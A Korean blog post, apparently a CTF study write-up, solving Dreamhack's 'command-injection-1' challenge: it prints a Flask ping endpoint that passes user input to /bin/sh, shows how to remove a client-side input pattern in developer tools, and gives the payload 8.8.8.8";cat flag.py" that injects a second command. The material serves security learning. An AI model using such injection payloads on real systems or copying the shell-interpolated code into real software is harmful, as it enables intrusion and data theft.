워게임 스터디

[241119][dreamhack] command-injection-1

jisu0924 2024. 11. 20. 01:05

나와있는 주소 타고 들어갔더니

이런 화면이 나왔다. 코드 확인해 봤더니 

#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)


@APP.route('/')
def index():
    return render_template('index.html')


@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')


if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

/ping 페이지를 구성하는 코드다. host는 '0.0.0.0'형식을 따를 경우 ping -c 3 "8.8.8.8"이 올바르게 실행되지만 " 문자를 임의로 삽입하여 문자열에서 빠져나온다면 원하는 명령어를 이어서 실행할 수 있기에 이후에 ls로 파일을 확인하여 flag를 찾고 싶었지만

형식이 맞지 않는다고 뜬다. 개발자 도구를 통해 input태그의 pattern속성이 pattern="[A-Za-z0-9.]{5,20}" 로 설정되어 있음을 확인할 수 있음을 확인할 수 있다. 이는 영어, 숫자, ".", 글자 수 5~20자만 허용한다는 것이다. 이럴 경우 필터링을 제거해 주어 우회해 주면 된다.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required="">

Ping!을 눌러주면 flag.py를 확인 가능하다. 여기서 cat 명령어를 사용하여 flag.py를 읽으면 플래그를 획득 가능하다. 

다음과 같이 입력한다.

8.8.8.8";cat flag.py"

 

플래그가 나온다.

 

'워게임 스터디' 카테고리의 다른 글

[241126][dreamhack] 64se64  (0) 2024.11.26
[241126][dreamhack] Reversing Basic Challenge #0  (0) 2024.11.26
[241119][dreamhack] devtools-sources  (0) 2024.11.20
[241112][dreamhack] Cookie  (0) 2024.11.12
[241112][SuNiNaTaS] level 3  (0) 2024.11.12